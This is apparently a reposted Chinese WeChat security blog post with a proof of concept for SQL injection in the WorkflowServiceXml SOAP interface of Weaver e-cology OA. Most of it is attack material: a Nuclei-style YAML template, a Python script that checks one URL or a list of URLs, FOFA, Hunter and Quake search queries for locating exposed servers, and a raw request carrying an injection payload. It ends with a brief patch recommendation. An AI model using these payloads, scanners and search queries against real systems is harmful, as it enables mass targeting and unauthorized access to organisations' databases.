POC(Yaml&Python)
话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)
-
「Yaml」
id: Weaver-oa-e-cology-WorkflowServiceXml-sqli
info:
name: 泛微e-cology WorkflowServiceXml SQL注入
author: god
severity: high
description: 泛微e-cology WorkflowServiceXml SQL注入
metadata:
fofa-query: app="泛微-OA(e-cology)"
tags: weaver,oa,sqli
http:
- raw:
- |-
@timeout: 30s
POST /services/WorkflowServiceXml HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: text/xml
Accept-Encoding: gzip
Content-Length: 487
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/>
<soapenv:Body>
<web:getHendledWorkflowRequestList>
<web:in0>1</web:in0>
<web:in1>1</web:in1>
<web:in2>1</web:in2>
<web:in3>1</web:in3>
<web:in4>
<web:string>1=1</web:string>
</web:in4>
</web:getHendledWorkflowRequestList>
</soapenv:Body>
</soapenv:Envelope>
max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_1, "WorkflowRequestInfo")'
condition: and
-
「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning
RED = '�33[91m'
RESET = '�33[0m'
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_sql_injection(url):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36',
'Content-Type': 'text/xml',
'Accept-Encoding': 'gzip'
}
data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver">
<soapenv:Header/>
<soapenv:Body>
<web:getHendledWorkflowRequestList>
<web:in0>1</web:in0>
<web:in1>1</web:in1>
<web:in2>1</web:in2>
<web:in3>1</web:in3>
<web:in4>
<web:string>1=1</web:string>
</web:in4>
</web:getHendledWorkflowRequestList>
</soapenv:Body>
</soapenv:Envelope>'''
try:
response = requests.post(f"{url.rstrip('/')}/services/WorkflowServiceXml", headers=headers, data=data, verify=False, timeout=30)
if response.status_code == 200 and "WorkflowRequestInfo" in response.text:
print(f"{RED}URL [{url}] 存在泛微e-cology WorkflowServiceXml SQL注入漏洞{RESET}")
else:
print(f"URL [{url}] 可能不存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")
def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在泛微e-cology WorkflowServiceXml SQL注入漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_sql_injection(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_sql_injection(url)
if __name__ == '__main__':
main()
漏洞介绍
❝
E-Cology OA协同商务系统是一款面向中大型组织的数字化办公产品,它基于全新的设计理念和管理思想,旨在为中大型组织创建一个全新的高效协同办公环境。其
WorkflowServiceXml
接口存在sql注入,恶意攻击者可能会向数据库发送构造的恶意SQL查询语句,以获取数据库敏感信息、修改数据或者执行其他恶意操作,还有可能直接通过sql注入获取服务器权限。❞
资产测绘
-
「Fofa」
❝
app="泛微-OA(e-cology)"
❞
-
「Hunter」
❝
app.name="泛微 e-cology OA"
❞
-
「Quake」
❝
app="泛微 e-Cology"
❞
漏洞复现
「1、构造数据包」
POST /services/WorkflowServiceXml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: text/xml
Accept-Encoding: gzip
Content-Length: 487
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/>
<soapenv:Body>
<web:getHendledWorkflowRequestList>
<web:in0>1</web:in0>
<web:in1>1</web:in1>
<web:in2>1</web:in2>
<web:in3>1</web:in3>
<web:in4>
<web:string>1=1 AND 5615=5615</web:string>
</web:in4>
</web:getHendledWorkflowRequestList>
</soapenv:Body>
</soapenv:Envelope>
「2、查看返回包」
修复方案
❝
官方已发布安全补丁,建议联系厂商打补丁或升级版本。 引入Web应用防火墙防护,配置接口拦截策略。 ❞
原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】泛微e-cology WorkflowServiceXml SQL注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论